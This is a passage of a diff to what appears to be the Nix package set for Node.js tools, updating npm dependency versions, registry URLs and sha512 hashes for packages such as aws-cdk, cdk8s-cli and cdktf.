"https://registry.npmjs.org/aws-cdk/-/aws-cdk-2.125.0.tgz"; - sha512 = "6qFtaDPzhddhwIbCpqBjMePzZS7bfthGFQYfcwF1OhqMv2f3VpHQQ0f7kz4UxXJXUIR5BbgCnlpawH3c0aNzKw=="; + url = "https://registry.npmjs.org/aws-cdk/-/aws-cdk-2.128.0.tgz"; + sha512 = "epOAr/0WKqmyaKqBc7N0Ky5++93pu+v6yVN9jNOa4JYkAkGbeTS3vR9bj/W0o94jnlgWevG3HNHr83jtRvw/4A=="; }; dependencies = [ sources."fsevents-2.3.2" @@ -66215,7 +66367,7 @@ in sources."defer-to-connect-2.0.1" sources."dequal-2.0.3" sources."devlop-1.1.0" - sources."diff-5.1.0" + sources."diff-5.2.0" sources."dir-glob-3.0.1" sources."eastasianwidth-0.2.0" sources."emoji-regex-10.3.0" @@ -66241,7 +66393,7 @@ in sources."execa-8.0.1" sources."extend-3.0.2" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."form-data-encoder-2.1.4" sources."fs.realpath-1.0.0" @@ -66260,7 +66412,7 @@ in }) sources."graceful-fs-4.2.11" sources."has-flag-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-7.0.1" sources."http-cache-semantics-4.1.1" sources."http2-wrapper-2.2.1" @@ -66983,7 +67135,7 @@ in sources."run-parallel-1.2.0" sources."sade-1.8.1" sources."safe-buffer-5.2.1" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -66994,9 +67146,9 @@ in sources."slash-4.0.0" sources."sliced-1.0.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."stdin-discarder-0.1.0" sources."string-width-6.1.0" sources."string_decoder-1.3.0" @@ -67017,7 +67169,7 @@ in }) sources."to-regex-range-5.0.1" sources."to-vfile-8.0.0" - sources."trough-2.1.0" + sources."trough-2.2.0" sources."type-fest-4.10.2" sources."unified-11.0.4" (sources."unified-lint-rule-2.1.2" // { @@ -67134,7 +67286,7 @@ in sources."domino-2.1.6" sources."encoding-0.1.13" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."fuzzy-search-3.2.1" sources."glob-parent-5.1.2" @@ -67230,7 +67382,7 @@ in sources."get-stdin-4.0.1" sources."glob-6.0.4" sources."graceful-fs-3.0.12" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."indent-string-2.1.0" sources."inflight-1.0.6" @@ -67299,9 +67451,9 @@ in sources."sort-keys-1.1.2" sources."sort-keys-length-1.0.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."sprintf-js-1.0.3" sources."strip-bom-2.0.0" sources."strip-indent-1.0.1" @@ -67372,7 +67524,7 @@ in sources."buffer-xor-1.0.3" sources."builtin-status-codes-3.0.0" sources."cached-path-relative-1.1.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."cipher-base-1.0.4" sources."combine-source-map-0.8.0" sources."concat-map-0.0.1" @@ -67390,7 +67542,7 @@ in sources."create-hmac-1.1.7" sources."crypto-browserify-3.12.0" sources."dash-ast-1.0.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."defined-1.0.1" sources."deps-sort-2.0.1" @@ -67408,6 +67560,8 @@ in sources."bn.js-4.12.0" ]; }) + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."events-3.3.0" sources."evp_bytestokey-1.0.3" sources."fast-safe-stringify-2.1.1" @@ -67415,21 +67569,21 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."get-assigned-identifiers-1.2.0" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-7.2.3" sources."gopd-1.0.1" sources."has-1.0.4" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" + sources."has-tostringtag-1.0.2" (sources."hash-base-3.1.0" // { dependencies = [ sources."readable-stream-3.6.2" ]; }) sources."hash.js-1.1.7" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hmac-drbg-1.0.1" sources."htmlescape-1.1.1" sources."https-browserify-1.0.0" @@ -67443,7 +67597,7 @@ in sources."is-callable-1.2.7" sources."is-core-module-2.13.1" sources."is-generator-function-1.0.10" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."isarray-1.0.0" sources."jsonparse-1.3.1" sources."labeled-stream-splicer-2.0.2" @@ -67496,11 +67650,11 @@ in sources."ripemd160-2.0.2" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."sha.js-2.4.11" sources."shasum-object-1.0.0" sources."shell-quote-1.8.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."simple-concat-1.0.1" sources."source-map-0.5.7" (sources."stream-browserify-3.0.0" // { @@ -67530,7 +67684,7 @@ in sources."util-0.12.5" sources."util-deprecate-1.0.2" sources."vm-browserify-1.1.2" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."wrappy-1.0.2" sources."xtend-4.0.2" ]; @@ -67556,7 +67710,7 @@ in sources."@socket.io/component-emitter-3.1.0" sources."@types/cookie-0.4.1" sources."@types/cors-2.8.17" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."accepts-1.3.8" sources."ansi-regex-5.0.1" sources."ansi-styles-4.3.0" @@ -67575,7 +67729,7 @@ in sources."bufferutil-4.0.8" sources."bytes-3.1.2" sources."chalk-4.1.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."cliui-8.0.1" sources."color-convert-2.0.1" sources."color-name-1.1.4" @@ -67601,8 +67755,8 @@ in sources."encodeurl-1.0.2" sources."engine.io-6.5.4" sources."engine.io-client-6.5.3" - sources."engine.io-parser-5.2.1" - sources."escalade-3.1.1" + sources."engine.io-parser-5.2.2" + sources."escalade-3.1.2" sources."escape-html-1.0.3" sources."etag-1.8.1" sources."eventemitter3-4.0.7" @@ -67616,7 +67770,6 @@ in sources."follow-redirects-1.15.5" sources."fresh-0.5.2" sources."fs-extra-3.0.1" - sources."fsevents-2.3.3" sources."get-caller-file-2.0.5" sources."glob-parent-5.1.2" sources."graceful-fs-4.2.11" @@ -67733,10 +67886,10 @@ in cdk8s-cli = nodeEnv.buildNodePackage { name = "cdk8s-cli"; packageName = "cdk8s-cli"; - version = "2.198.37"; + version = "2.198.51"; src = fetchurl { - url = "https://registry.npmjs.org/cdk8s-cli/-/cdk8s-cli-2.198.37.tgz"; - sha512 = "oK/spYuj5SCl/oExP8auzfBg9ea0WCVIa7iyLfFWqSh+qp9KYR3mPSK3hRt7iNw5icYQxVz3TTyoIjYAIUtLFA=="; + url = "https://registry.npmjs.org/cdk8s-cli/-/cdk8s-cli-2.198.51.tgz"; + sha512 = "llOd2XWKzjp/z/abLO1cwyNJI0KfLQfH3vPHr9t5Y++FZw/+km/51Q0fEI4NaZvh3hVai1rxgix2alBBEitITw=="; }; dependencies = [ sources."@colors/colors-1.6.0" @@ -67758,7 +67911,7 @@ in sources."@octokit/request-error-2.1.0" sources."@octokit/rest-18.12.0" sources."@octokit/types-6.41.0" - sources."@types/node-16.18.78" + sources."@types/node-16.18.82" sources."@types/triple-beam-1.3.5" sources."@xmldom/xmldom-0.8.10" sources."aggregate-error-3.1.0" @@ -67792,8 +67945,8 @@ in sources."buffer-5.7.1" sources."camelcase-6.3.0" sources."case-1.6.3" - sources."cdk8s-2.68.33" - sources."cdk8s-plus-25-2.22.73" + sources."cdk8s-2.68.38" + sources."cdk8s-plus-25-2.22.76" sources."chalk-4.1.2" sources."chardet-0.7.0" sources."clean-stack-2.2.0" @@ -67838,17 +67991,17 @@ in sources."detect-newline-2.1.0" sources."dir-glob-3.0.1" sources."dot-case-3.0.4" - sources."dotenv-16.4.1" + sources."dotenv-16.4.4" (sources."downlevel-dts-0.11.0" // { dependencies = [ - sources."typescript-5.4.0-dev.20240201" + sources."typescript-5.4.0-dev.20240217" ]; }) sources."emoji-regex-8.0.0" sources."enabled-2.0.0" sources."encoding-0.1.13" sources."entities-2.0.3" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-4.0.0" (sources."external-editor-3.1.0" // { dependencies = [ @@ -67857,7 +68010,7 @@ in }) sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fecha-4.2.3" (sources."figures-3.2.0" // { dependencies = [ @@ -67886,7 +68039,7 @@ in sources."graphql-16.8.1" sources."graphql-tag-2.12.6" sources."has-flag-4.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."iconv-lite-0.6.3" sources."ieee754-1.2.1" sources."ignore-5.3.1" @@ -67934,11 +68087,11 @@ in sources."yargs-16.2.0" ]; }) - (sources."jsii-srcmak-0.1.1022" // { + (sources."jsii-srcmak-0.1.1039" // { dependencies = [ sources."cliui-8.0.1" sources."fs-extra-9.1.0" - (sources."jsii-5.3.12" // { + (sources."jsii-5.3.18" // { dependencies = [ sources."yargs-17.7.2" ]; @@ -68012,7 +68165,7 @@ in sources."safe-json-stringify-1.2.0" sources."safe-stable-stringify-2.4.3" sources."safer-buffer-2.1.2" - sources."semver-7.5.4" + sources."semver-7.6.0" (sources."semver-intersect-1.5.0" // { dependencies = [ sources."semver-6.3.1" @@ -68061,7 +68214,7 @@ in sources."whatwg-url-5.0.0" sources."which-module-2.0.1" sources."winston-3.11.0" - sources."winston-transport-4.6.0" + sources."winston-transport-4.7.0" sources."workerpool-6.5.1" sources."wrap-ansi-7.0.0" sources."wrappy-1.0.2" @@ -68194,7 +68347,7 @@ in sources."decamelize-5.0.1" sources."escape-string-regexp-4.0.0" sources."glob-10.3.10" - (sources."jsii-5.3.12" // { + (sources."jsii-5.3.18" // { dependencies = [ sources."yargs-17.7.2" ]; @@ -68218,6 +68371,7 @@ in ]; }) sources."minimatch-9.0.3" + sources."semver-7.6.0" sources."typescript-3.9.10" sources."wrap-ansi-7.0.0" sources."y18n-4.0.3" @@ -68292,7 +68446,7 @@ in sources."signal-exit-4.1.0" ]; }) - sources."@inquirer/type-1.1.6" + sources."@inquirer/type-1.2.0" (sources."@isaacs/cliui-8.0.2" // { dependencies = [ sources."ansi-regex-6.0.1" @@ -68304,7 +68458,7 @@ in ]; }) sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -68326,9 +68480,9 @@ in sources."@sentry/types-7.91.0" sources."@sentry/utils-7.91.0" sources."@types/mute-stream-0.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/prop-types-15.7.11" - sources."@types/react-18.2.51" + sources."@types/react-18.2.56" sources."@types/scheduler-0.16.8" sources."@types/wrap-ansi-3.0.0" sources."@types/yauzl-2.10.3" @@ -68354,7 +68508,7 @@ in ]; }) sources."arr-rotate-1.0.0" - sources."array-buffer-byte-length-1.0.0" + sources."array-buffer-byte-length-1.0.1" sources."astral-regex-2.0.0" sources."async-3.2.5" sources."at-least-node-1.0.0" @@ -68369,7 +68523,7 @@ in sources."buffer-5.7.1" sources."buffer-crc32-0.2.13" sources."bufferutil-4.0.8" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camelcase-5.3.1" sources."case-1.6.3" sources."cdktf-0.20.3" @@ -68426,7 +68580,7 @@ in }) sources."deep-extend-0.6.0" sources."deepmerge-4.3.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."detect-indent-5.0.0" sources."detect-libc-2.0.2" @@ -68434,7 +68588,7 @@ in sources."detect-port-1.5.1" (sources."downlevel-dts-0.11.0" // { dependencies = [ - sources."typescript-5.4.0-dev.20240201" + sources."typescript-5.4.0-dev.20240217" ]; }) sources."eastasianwidth-0.2.0" @@ -68442,12 +68596,14 @@ in sources."encoding-0.1.13" sources."end-of-stream-1.4.4" sources."entities-2.0.3" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" (sources."es-get-iterator-1.1.3" // { dependencies = [ sources."isarray-2.0.5" ]; }) - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-2.0.0" sources."events-3.3.0" sources."execa-5.1.1" @@ -68464,7 +68620,7 @@ in }) sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fd-slicer-1.1.0" (sources."figures-3.2.0" // { dependencies = [ @@ -68493,7 +68649,7 @@ in sources."function-bind-1.1.2" sources."functions-have-names-1.2.3" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-6.0.1" sources."github-from-package-0.0.0" (sources."glob-7.2.3" // { @@ -68508,11 +68664,11 @@ in sources."graphology-types-0.24.7" sources."has-bigints-1.0.2" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."https-proxy-agent-5.0.1" sources."human-signals-2.1.0" sources."iconv-lite-0.6.3" @@ -68531,10 +68687,10 @@ in sources."ink-table-3.0.0" sources."ink-testing-library-2.1.0" sources."ink-use-stdout-dimensions-1.0.5" - sources."internal-slot-1.0.6" + sources."internal-slot-1.0.7" sources."interpret-1.4.0" sources."is-arguments-1.1.1" - sources."is-array-buffer-3.0.2" + sources."is-array-buffer-3.0.4" sources."is-bigint-1.0.4" sources."is-binary-path-2.1.0" sources."is-boolean-object-1.1.2" @@ -68559,7 +68715,6 @@ in sources."is-stream-2.0.1" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" sources."is-valid-domain-0.1.6" sources."is-weakmap-2.0.1" sources."is-weakset-2.0.2" @@ -68730,7 +68885,7 @@ in sources."readdir-glob-1.1.3" sources."readdirp-3.6.0" sources."rechoir-0.6.2" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."require-directory-2.1.1" sources."require-from-string-2.0.2" sources."require-main-filename-2.0.0" @@ -68752,13 +68907,13 @@ in ]; }) sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."shell-quote-1.8.1" sources."shelljs-0.8.5" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."simple-concat-1.0.1" sources."simple-get-4.0.1" @@ -68804,7 +68959,7 @@ in sources."which-boxed-primitive-1.0.2" sources."which-collection-1.0.1" sources."which-module-2.0.1" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."widest-line-3.1.0" sources."workerpool-6.5.1" sources."wrap-ansi-6.2.0" @@ -69241,9 +69396,8 @@ in sources."anymatch-3.1.3" sources."binary-extensions-2.2.0" sources."braces-3.0.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."fill-range-7.0.1" - sources."fsevents-2.3.3" sources."glob-parent-5.1.2" sources."is-binary-path-2.1.0" sources."is-extglob-2.1.1" @@ -69367,8 +69521,8 @@ in sources."@tootallnate/once-1.1.2" sources."agent-base-6.0.2" sources."arch-2.2.0" - sources."array-buffer-byte-length-1.0.0" - sources."arraybuffer.prototype.slice-1.0.2" + sources."array-buffer-byte-length-1.0.1" + sources."arraybuffer.prototype.slice-1.0.3" sources."async-2.6.4" sources."available-typed-arrays-1.0.6" sources."await-semaphore-0.1.3" @@ -69381,7 +69535,7 @@ in sources."buffer-indexof-polyfill-1.0.2" sources."buffers-0.1.1" sources."bytes-3.1.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."chainsaw-0.1.0" sources."chownr-2.0.0" sources."clipboardy-2.3.0" @@ -69399,12 +69553,14 @@ in sources."debounce-1.2.1" sources."debug-4.3.4" sources."deep-extend-0.6.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."duplexer2-0.1.4" sources."encoding-0.1.13" sources."end-of-stream-1.4.4" - sources."es-abstract-1.22.3" + sources."es-abstract-1.22.4" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-set-tostringtag-2.0.2" sources."es-to-primitive-1.2.1" sources."execa-1.0.0" @@ -69430,19 +69586,19 @@ in sources."function-bind-1.1.2" sources."function.prototype.name-1.1.6" sources."functions-have-names-1.2.3" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-4.1.0" - sources."get-symbol-description-1.0.0" + sources."get-symbol-description-1.0.2" sources."glob-7.2.3" sources."globalthis-1.0.3" sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-bigints-1.0.2" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."http-proxy-agent-4.0.1" sources."https-proxy-agent-5.0.1" sources."iconv-lite-0.6.3" @@ -69451,8 +69607,8 @@ in sources."inherits-2.0.4" sources."ini-1.3.8" sources."int64-buffer-0.1.10" - sources."internal-slot-1.0.6" - sources."is-array-buffer-3.0.2" + sources."internal-slot-1.0.7" + sources."is-array-buffer-3.0.4" sources."is-bigint-1.0.4" sources."is-boolean-object-1.1.2" sources."is-callable-1.2.7" @@ -69465,7 +69621,7 @@ in sources."is-stream-1.1.0" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-weakref-1.0.2" sources."is-wsl-2.2.0" sources."isarray-2.0.5" @@ -69513,7 +69669,7 @@ in sources."path-is-absolute-1.0.1" sources."path-key-2.0.1" sources."process-nextick-args-2.0.1" - sources."promise.prototype.finally-3.1.7" + sources."promise.prototype.finally-3.1.8" sources."promisify-child-process-4.1.1" sources."pump-3.0.0" sources."rc-1.2.8" @@ -69523,22 +69679,22 @@ in sources."safe-buffer-5.1.2" ]; }) - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."rfc-3986-1.0.1" sources."rfdc-1.3.1" sources."rimraf-3.0.2" sources."safe-array-concat-1.1.0" sources."safe-buffer-5.2.1" - sources."safe-regex-test-1.0.2" + sources."safe-regex-test-1.0.3" sources."safer-buffer-2.1.2" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" sources."setimmediate-1.0.5" sources."shebang-command-1.2.0" sources."shebang-regex-1.0.0" sources."shell-quote-1.8.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."streamroller-3.1.5" sources."string.prototype.trim-1.2.8" @@ -69555,7 +69711,7 @@ in sources."tr46-0.0.3" sources."traverse-0.3.9" sources."tslib-2.6.2" - sources."typed-array-buffer-1.0.0" + sources."typed-array-buffer-1.0.1" sources."typed-array-byte-length-1.0.0" sources."typed-array-byte-offset-1.0.0" sources."typed-array-length-1.0.4" @@ -69577,7 +69733,7 @@ in sources."whatwg-url-5.0.0" sources."which-2.0.2" sources."which-boxed-primitive-1.0.2" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."wrappy-1.0.2" sources."yallist-4.0.0" ]; @@ -69638,7 +69794,7 @@ in sha512 = "osEFt4HqNux5pJAOF3yl49GRobmJyoqU4knouYEBhwV+VLSxkbmWID803rFV5rwY1RDBYJ8WusKWqdqoHeRRTw=="; }; dependencies = [ - sources."pyright-1.1.349" + sources."pyright-1.1.350" ]; buildInputs = globalBuildInputs; meta = { @@ -69744,7 +69900,7 @@ in sources."domino-2.1.6" sources."encoding-0.1.13" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."fuzzy-search-3.2.1" sources."glob-parent-5.1.2" @@ -70011,7 +70167,7 @@ in sources."@babel/traverse-7.23.9" sources."@babel/types-7.23.9" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -70044,11 +70200,11 @@ in ]; }) sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."callsites-3.1.0" sources."camelcase-5.3.1" sources."camelcase-keys-6.2.2" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" (sources."chalk-4.1.2" // { dependencies = [ sources."ansi-styles-4.3.0" @@ -70085,11 +70241,11 @@ in sources."domelementtype-1.3.1" sources."domhandler-2.4.2" sources."domutils-1.7.0" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."entities-1.1.2" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."execall-2.0.0" sources."extend-3.0.2" @@ -70097,7 +70253,7 @@ in sources."fast-diff-1.3.0" sources."fast-glob-3.3.2" sources."fastest-levenshtein-1.0.16" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."file-entry-cache-6.0.1" sources."fill-range-7.0.1" sources."find-up-4.1.0" @@ -70117,7 +70273,7 @@ in sources."gonzales-pe-4.3.0" sources."hard-rejection-2.1.0" sources."has-flag-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" (sources."hosted-git-info-4.1.0" // { dependencies = [ sources."lru-cache-6.0.0" @@ -70192,7 +70348,7 @@ in (sources."normalize-package-data-3.0.3" // { dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yallist-4.0.0" ]; }) @@ -70269,9 +70425,9 @@ in }) sources."source-map-0.6.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."specificity-0.4.1" sources."string-width-4.2.3" sources."string_decoder-1.3.0" @@ -70355,7 +70511,7 @@ in }; dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yallist-4.0.0" ]; buildInputs = globalBuildInputs; @@ -70460,7 +70616,7 @@ in sources."function-bind-1.1.2" sources."glob-7.2.3" sources."has-flag-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."inflight-1.0.6" sources."inherits-2.0.4" sources."is-core-module-2.13.1" @@ -70597,7 +70753,7 @@ in sources."balanced-match-1.0.2" sources."brace-expansion-1.1.11" sources."builtin-modules-1.1.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsites-3.1.0" (sources."chalk-4.1.2" // { dependencies = [ @@ -70616,11 +70772,13 @@ in sources."cross-spawn-7.0.3" sources."debug-4.3.4" sources."deep-is-0.1.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."diff-4.0.2" sources."doctrine-3.0.0" sources."emoji-regex-8.0.0" sources."enquirer-2.4.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-string-regexp-4.0.0" sources."eslint-7.32.0" (sources."eslint-plugin-vue-7.20.0" // { @@ -70662,17 +70820,17 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."functional-red-black-tree-1.0.1" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."glob-7.2.3" sources."glob-parent-5.1.2" sources."globals-13.24.0" sources."gopd-1.0.1" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."ignore-4.0.6" sources."import-fresh-3.3.0" sources."imurmurhash-0.1.4" @@ -70719,8 +70877,8 @@ in sources."resolve-1.22.8" sources."resolve-from-4.0.0" sources."rimraf-3.0.2" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" (sources."slice-ansi-4.0.0" // { @@ -71110,7 +71268,7 @@ in sources."color-name-1.1.4" sources."date-fns-2.30.0" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."get-caller-file-2.0.5" sources."has-flag-4.0.0" sources."is-fullwidth-code-point-3.0.0" @@ -71187,7 +71345,7 @@ in sources."git-semver-tags-7.0.1" sources."handlebars-4.7.8" sources."has-flag-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-7.0.1" sources."is-arrayish-0.2.1" sources."is-core-module-2.13.1" @@ -71214,16 +71372,16 @@ in sources."path-exists-5.0.0" sources."read-pkg-8.1.0" sources."read-pkg-up-10.1.0" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; }) sources."source-map-0.6.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split2-4.2.0" sources."supports-color-5.5.0" sources."temp-dir-3.0.0" @@ -71268,7 +71426,7 @@ in sources."dir-glob-3.0.1" sources."escape-string-regexp-5.0.0" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."glob-parent-5.1.2" sources."globby-13.2.2" @@ -71328,13 +71486,13 @@ in sources."@cycle/run-3.4.0" sources."@cycle/time-0.10.1" sources."@types/cookiejar-2.1.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/superagent-3.8.2" sources."ansi-escapes-3.2.0" sources."ansi-regex-2.1.1" sources."ansi-styles-2.2.1" sources."asynckit-0.4.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" (sources."chalk-2.4.2" // { dependencies = [ sources."ansi-styles-3.2.1" @@ -71357,9 +71515,11 @@ in sources."cycle-onionify-4.0.0" sources."d-1.0.1" sources."debug-3.2.7" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."delayed-stream-1.0.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es5-ext-0.10.62" sources."es6-iterator-2.0.3" sources."es6-map-0.1.5" @@ -71382,15 +71542,15 @@ in sources."form-data-2.5.1" sources."formidable-1.2.6" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."globalthis-1.0.3" sources."gopd-1.0.1" sources."has-ansi-2.0.0" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."iconv-lite-0.4.24" sources."inherits-2.0.4" (sources."inquirer-3.3.0" // { @@ -71438,11 +71598,11 @@ in sources."rx-lite-aggregates-4.0.8" sources."safe-buffer-5.1.2" sources."safer-buffer-2.1.2" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setimmediate-1.0.5" sources."shebang-command-1.2.0" sources."shebang-regex-1.0.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."snabbdom-0.7.0" sources."snabbdom-selector-1.2.1" @@ -71531,7 +71691,7 @@ in sources."@cspell/dict-elixir-4.0.3" sources."@cspell/dict-en-common-misspellings-2.0.0" sources."@cspell/dict-en-gb-1.1.33" - sources."@cspell/dict-en_us-4.3.15" + sources."@cspell/dict-en_us-4.3.16" sources."@cspell/dict-filetypes-3.0.3" sources."@cspell/dict-fonts-4.0.0" sources."@cspell/dict-fsharp-1.0.1" @@ -71550,7 +71710,7 @@ in sources."@cspell/dict-makefile-1.0.0" sources."@cspell/dict-node-4.0.3" sources."@cspell/dict-npm-5.0.15" - sources."@cspell/dict-php-4.0.5" + sources."@cspell/dict-php-4.0.6" sources."@cspell/dict-powershell-5.0.3" sources."@cspell/dict-public-licenses-2.0.5" sources."@cspell/dict-python-4.1.11" @@ -71558,7 +71718,7 @@ in sources."@cspell/dict-ruby-5.0.2" sources."@cspell/dict-rust-4.0.2" sources."@cspell/dict-scala-5.0.0" - sources."@cspell/dict-software-terms-3.3.17" + 